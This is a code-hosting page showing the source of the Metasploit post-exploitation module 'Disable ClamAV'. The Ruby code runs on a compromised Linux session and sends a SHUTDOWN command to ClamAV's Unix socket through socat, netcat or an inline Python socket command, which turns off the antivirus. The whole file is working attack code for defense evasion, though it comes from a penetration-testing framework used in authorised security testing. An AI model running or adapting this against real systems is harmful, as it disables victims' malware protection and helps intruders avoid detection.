Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/manage/disable_clamav.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6Rank = ExcellentRanking7include Msf::Post::File8include Msf::Post::Unix910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Disable ClamAV',15'Description' => %q{16This module will write to the ClamAV Unix socket to shutoff ClamAV.17},18'License' => MSF_LICENSE,19'Author' => [20'DLL_Cool_J'21],22'Platform' => [ 'linux' ],23'SessionTypes' => [ 'meterpreter', 'shell' ],24'Notes' => {25'Stability' => [SERVICE_RESOURCE_LOSS],26'Reliability' => [],27'SideEffects' => [IOC_IN_LOGS]28}29)30)31register_options(32[33OptString.new('CLAMAV_UNIX_SOCKET', [true, 'ClamAV unix socket', '/run/clamav/clamd.ctl' ]),34OptString.new('COMMAND', [true, 'ClamAV command to execute', 'SHUTDOWN' ])35], self.class36)37end3839def run40clamav_socket = datastore['CLAMAV_UNIX_SOCKET']41cmd = datastore['COMMAND']4243if command_exists?('socat')44print_good('socat exists')45payload = "echo #{cmd} | socat - UNIX-CONNECT:#{clamav_socket}"46elsif command_exists?('nc')47print_good('nc exists')48payload = "echo #{cmd} | nc -U #{clamav_socket}"49elsif command_exists?('python')50print_good('python exists')51payload = "python -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""52elsif command_exists?('python3')53print_good('python3 exists')54payload = "python3 -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""55else56fail_with(Failure::NotFound, 'No suitable binary found on the target host. Quitting!')57end5859print_status("Checking file path #{clamav_socket} exists and is writable... ")60print_bad('File does NOT exist or is not writable!') unless writable?(clamav_socket.to_s)61print_good('File does exist and is writable!')62print_good("Sending #{cmd}...")63cmd_exec(payload)64end65end666768